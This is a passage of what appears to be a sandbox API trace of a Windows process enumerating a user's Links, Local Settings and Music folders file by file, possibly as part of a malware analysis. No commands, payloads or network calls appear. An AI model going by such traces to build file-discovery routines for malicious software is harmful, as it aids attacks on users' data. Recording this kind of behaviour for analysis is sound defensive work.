ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0119.766] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0119.766] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.766] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.766] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0119.766] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.766] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.766] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.766] PathFindFileNameW (pszPath="") returned="" [0119.766] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde690 | out: hHeap=0x5e0000) returned 1 [0119.766] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.766] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.766] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0119.766] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0119.766] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0119.766] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0119.766] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde638 | out: hHeap=0x5e0000) returned 1 [0119.767] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.767] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0119.767] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.767] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.767] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.767] PathFindFileNameW (pszPath="") returned="" [0119.767] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0119.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0119.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.767] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.767] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0119.767] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.767] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.767] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.767] PathFindFileNameW (pszPath="") returned="" [0119.767] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd9467f0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbd9467f0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde690 | out: hHeap=0x5e0000) returned 1 [0119.768] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd9467f0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbd9467f0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.768] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1157c0, ftCreationTime.dwHighDateTime=0x1d4ce97, ftLastAccessTime.dwLowDateTime=0xadf12ba0, ftLastAccessTime.dwHighDateTime=0x1d4ca5d, ftLastWriteTime.dwLowDateTime=0xadf12ba0, ftLastWriteTime.dwHighDateTime=0x1d4ca5d, nFileSizeHigh=0x0, nFileSizeLow=0x1567a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1LH ai8TTh YEvyGD.m4a", cAlternateFileName="1LHAI8~1.M4A")) returned 1 [0119.768] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32189630, ftCreationTime.dwHighDateTime=0x1d4c65c, ftLastAccessTime.dwLowDateTime=0x865fcc00, ftLastAccessTime.dwHighDateTime=0x1d4d434, ftLastWriteTime.dwLowDateTime=0x865fcc00, ftLastWriteTime.dwHighDateTime=0x1d4d434, nFileSizeHigh=0x0, nFileSizeLow=0xa90a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1m-pL.m4a", cAlternateFileName="")) returned 1 [0119.768] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5f174b0, ftCreationTime.dwHighDateTime=0x1d4c5ed, ftLastAccessTime.dwLowDateTime=0xb80f98f0, ftLastAccessTime.dwHighDateTime=0x1d4cf45, ftLastWriteTime.dwLowDateTime=0xb80f98f0, ftLastWriteTime.dwHighDateTime=0x1d4cf45, nFileSizeHigh=0x0, nFileSizeLow=0xb9f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1OENLvsSvA_3B3xAhQM.wav", cAlternateFileName="1OENLV~1.WAV")) returned 1 [0119.768] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb729280, ftCreationTime.dwHighDateTime=0x1d4d194, ftLastAccessTime.dwLowDateTime=0x2dc1c5f0, ftLastAccessTime.dwHighDateTime=0x1d4d554, ftLastWriteTime.dwLowDateTime=0x2dc1c5f0, ftLastWriteTime.dwHighDateTime=0x1d4d554, nFileSizeHigh=0x0, nFileSizeLow=0x17b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5NnU5R.mp3", cAlternateFileName="")) returned 1 [0119.768] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2213c490, ftCreationTime.dwHighDateTime=0x1d4cd22, ftLastAccessTime.dwLowDateTime=0x6249bf80, ftLastAccessTime.dwHighDateTime=0x1d4d06d, ftLastWriteTime.dwLowDateTime=0x6249bf80, ftLastWriteTime.dwHighDateTime=0x1d4d06d, nFileSizeHigh=0x0, nFileSizeLow=0x13300, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7wK8zcb6fytX2DCx65.m4a", cAlternateFileName="7WK8ZC~1.M4A")) returned 1 [0119.768] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5954ac0, ftCreationTime.dwHighDateTime=0x1d4cf3e, ftLastAccessTime.dwLowDateTime=0xd5711500, ftLastAccessTime.dwHighDateTime=0x1d4d3e0, ftLastWriteTime.dwLowDateTime=0xd5711500, ftLastWriteTime.dwHighDateTime=0x1d4d3e0, nFileSizeHigh=0x0, nFileSizeLow=0x632b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8Wt-fr78MDaMolHBnA.mp3", cAlternateFileName="8WT-FR~1.MP3")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7f42d0, ftCreationTime.dwHighDateTime=0x1d4d19d, ftLastAccessTime.dwLowDateTime=0x33f0340, ftLastAccessTime.dwHighDateTime=0x1d4cb15, ftLastWriteTime.dwLowDateTime=0x33f0340, ftLastWriteTime.dwHighDateTime=0x1d4cb15, nFileSizeHigh=0x0, nFileSizeLow=0x52cd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AfS4W9T-vl.m4a", cAlternateFileName="AFS4W9~1.M4A")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9efe5890, ftCreationTime.dwHighDateTime=0x1d4d53c, ftLastAccessTime.dwLowDateTime=0x82211df0, ftLastAccessTime.dwHighDateTime=0x1d4c91d, ftLastWriteTime.dwLowDateTime=0x82211df0, ftLastWriteTime.dwHighDateTime=0x1d4c91d, nFileSizeHigh=0x0, nFileSizeLow=0xc167, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eVkUqXz.mp3", cAlternateFileName="")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b54fa90, ftCreationTime.dwHighDateTime=0x1d4d2dc, ftLastAccessTime.dwLowDateTime=0x38fb8f10, ftLastAccessTime.dwHighDateTime=0x1d4ce9b, ftLastWriteTime.dwLowDateTime=0x38fb8f10, ftLastWriteTime.dwHighDateTime=0x1d4ce9b, nFileSizeHigh=0x0, nFileSizeLow=0x17809, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f0KzGkVddjxFrhVbLx4y.m4a", cAlternateFileName="F0KZGK~1.M4A")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ca6020, ftCreationTime.dwHighDateTime=0x1d4ce0c, ftLastAccessTime.dwLowDateTime=0x134e4530, ftLastAccessTime.dwHighDateTime=0x1d4cf10, ftLastWriteTime.dwLowDateTime=0x134e4530, ftLastWriteTime.dwHighDateTime=0x1d4cf10, nFileSizeHigh=0x0, nFileSizeLow=0x1459b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fBS7mSNK6.m4a", cAlternateFileName="FBS7MS~1.M4A")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd34df90, ftCreationTime.dwHighDateTime=0x1d4ccd8, ftLastAccessTime.dwLowDateTime=0xeef810d0, ftLastAccessTime.dwHighDateTime=0x1d4d13a, ftLastWriteTime.dwLowDateTime=0xeef810d0, ftLastWriteTime.dwHighDateTime=0x1d4d13a, nFileSizeHigh=0x0, nFileSizeLow=0x3fe0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FIVz Pn-IkWrJfBV.m4a", cAlternateFileName="FIVZPN~1.M4A")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5faf0b90, ftCreationTime.dwHighDateTime=0x1d4d1da, ftLastAccessTime.dwLowDateTime=0x9a56c570, ftLastAccessTime.dwHighDateTime=0x1d4d14a, ftLastWriteTime.dwLowDateTime=0x9a56c570, ftLastWriteTime.dwHighDateTime=0x1d4d14a, nFileSizeHigh=0x0, nFileSizeLow=0xc492, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FUHOLzUUk7aWGniPbKU.m4a", cAlternateFileName="FUHOLZ~1.M4A")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec85410, ftCreationTime.dwHighDateTime=0x1d4ce14, ftLastAccessTime.dwLowDateTime=0x99719aa0, ftLastAccessTime.dwHighDateTime=0x1d4d531, ftLastWriteTime.dwLowDateTime=0x99719aa0, ftLastWriteTime.dwHighDateTime=0x1d4d531, nFileSizeHigh=0x0, nFileSizeLow=0x160b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GuF8APTZ9unXBfPE-UL_.mp3", cAlternateFileName="GUF8AP~1.MP3")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2adf270, ftCreationTime.dwHighDateTime=0x1d4ce65, ftLastAccessTime.dwLowDateTime=0xdd7b5a50, ftLastAccessTime.dwHighDateTime=0x1d4ce3e, ftLastWriteTime.dwLowDateTime=0xdd7b5a50, ftLastWriteTime.dwHighDateTime=0x1d4ce3e, nFileSizeHigh=0x0, nFileSizeLow=0x1280c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j9WBFDemL.mp3", cAlternateFileName="J9WBFD~1.MP3")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e2740, ftCreationTime.dwHighDateTime=0x1d4cf3e, ftLastAccessTime.dwLowDateTime=0xf7eaccf0, ftLastAccessTime.dwHighDateTime=0x1d4ca7d, ftLastWriteTime.dwLowDateTime=0xf7eaccf0, ftLastWriteTime.dwHighDateTime=0x1d4ca7d, nFileSizeHigh=0x0, nFileSizeLow=0xcfec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L6arSbkZ7.wav", cAlternateFileName="L6ARSB~1.WAV")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ac15b60, ftCreationTime.dwHighDateTime=0x1d4d2b5, ftLastAccessTime.dwLowDateTime=0xcf4b72c0, ftLastAccessTime.dwHighDateTime=0x1d4c63d, ftLastWriteTime.dwLowDateTime=0xcf4b72c0, ftLastWriteTime.dwHighDateTime=0x1d4c63d, nFileSizeHigh=0x0, nFileSizeLow=0xa6fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="m5E4cMfxi NqFn.wav", cAlternateFileName="M5E4CM~1.WAV")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ba76680, ftCreationTime.dwHighDateTime=0x1d4cbba, ftLastAccessTime.dwLowDateTime=0xcefe7040, ftLastAccessTime.dwHighDateTime=0x1d4ceb9, ftLastWriteTime.dwLowDateTime=0xcefe7040, ftLastWriteTime.dwHighDateTime=0x1d4ceb9, nFileSizeHigh=0x0, nFileSizeLow=0x17682, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OHu_s.m4a", cAlternateFileName="")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0394a0, ftCreationTime.dwHighDateTime=0x1d4d37b, ftLastAccessTime.dwLowDateTime=0xaf556b40, ftLastAccessTime.dwHighDateTime=0x1d4c9c8, ftLastWriteTime.dwLowDateTime=0xaf556b40, ftLastWriteTime.dwHighDateTime=0x1d4c9c8, nFileSizeHigh=0x0, nFileSizeLow=0x7a62, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QjxSgCh.mp3", cAlternateFileName="")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc6bfde0, ftCreationTime.dwHighDateTime=0x1d4d305, ftLastAccessTime.dwLowDateTime=0xe75624d0, ftLastAccessTime.dwHighDateTime=0x1d4c676, ftLastWriteTime.dwLowDateTime=0xe75624d0, ftLastWriteTime.dwHighDateTime=0x1d4c676, nFileSizeHigh=0x0, nFileSizeLow=0x3061, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tjl_cEIieo_pVMS7Kw.m4a", cAlternateFileName="TJL_CE~1.M4A")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330de1a0, ftCreationTime.dwHighDateTime=0x1d4ccbd, ftLastAccessTime.dwLowDateTime=0x44f9fe0, ftLastAccessTime.dwHighDateTime=0x1d4cc89, ftLastWriteTime.dwLowDateTime=0x44f9fe0, ftLastWriteTime.dwHighDateTime=0x1d4cc89, nFileSizeHigh=0x0, nFileSizeLow=0xfc0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uYJ6-T5.mp3", cAlternateFileName="")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f66080, ftCreationTime.dwHighDateTime=0x1d4cf3c, ftLastAccessTime.dwLowDateTime=0xb647ec90, ftLastAccessTime.dwHighDateTime=0x1d4c7d7, ftLastWriteTime.dwLowDateTime=0xb647ec90, ftLastWriteTime.dwHighDateTime=0x1d4c7d7, nFileSizeHigh=0x0, nFileSizeLow=0x14b32, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W7FUqTq.mp3", cAlternateFileName="")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb34f80, ftCreationTime.dwHighDateTime=0x1d4c84a, ftLastAccessTime.dwLowDateTime=0x6b2f6280, ftLastAccessTime.dwHighDateTime=0x1d4d293, ftLastWriteTime.dwLowDateTime=0x6b2f6280, ftLastWriteTime.dwHighDateTime=0x1d4d293, nFileSizeHigh=0x0, nFileSizeLow=0x6686, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X CNm1ePx68ob.wav", cAlternateFileName="XCNM1E~1.WAV")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3b0cee0, ftCreationTime.dwHighDateTime=0x1d4cfe4, ftLastAccessTime.dwLowDateTime=0x8d2c4a40, ftLastAccessTime.dwHighDateTime=0x1d4cecb, ftLastWriteTime.dwLowDateTime=0x8d2c4a40, ftLastWriteTime.dwHighDateTime=0x1d4cecb, nFileSizeHigh=0x0, nFileSizeLow=0x4605, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XDsCW7KhypcISoT.mp3", cAlternateFileName="XDSCW7~1.MP3")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4e7170, ftCreationTime.dwHighDateTime=0x1d4c54b, ftLastAccessTime.dwLowDateTime=0x7943c230, ftLastAccessTime.dwHighDateTime=0x1d4ccf3, ftLastWriteTime.dwLowDateTime=0x7943c230, ftLastWriteTime.dwHighDateTime=0x1d4ccf3, nFileSizeHigh=0x0, nFileSizeLow=0xa3d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xhJyMD-UA.mp3", cAlternateFileName="XHJYMD~1.MP3")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x489321a0, ftCreationTime.dwHighDateTime=0x1d4d557, ftLastAccessTime.dwLowDateTime=0x75b2a620, ftLastAccessTime.dwHighDateTime=0x1d4d54c, ftLastWriteTime.dwLowDateTime=0x75b2a620, ftLastWriteTime.dwHighDateTime=0x1d4d54c, nFileSizeHigh=0x0, nFileSizeLow=0x825, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XUycEgivdCqOtq.wav", cAlternateFileName="XUYCEG~1.WAV")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da95a00, ftCreationTime.dwHighDateTime=0x1d4cfc4, ftLastAccessTime.dwLowDateTime=0xbec2fe10, ftLastAccessTime.dwHighDateTime=0x1d4cb96, ftLastWriteTime.dwLowDateTime=0xbec2fe10, ftLastWriteTime.dwHighDateTime=0x1d4cb96, nFileSizeHigh=0x0, nFileSizeLow=0xc45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ym45zlaZS.m4a", cAlternateFileName="YM45ZL~1.M4A")) returned 1 [0119.769] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: 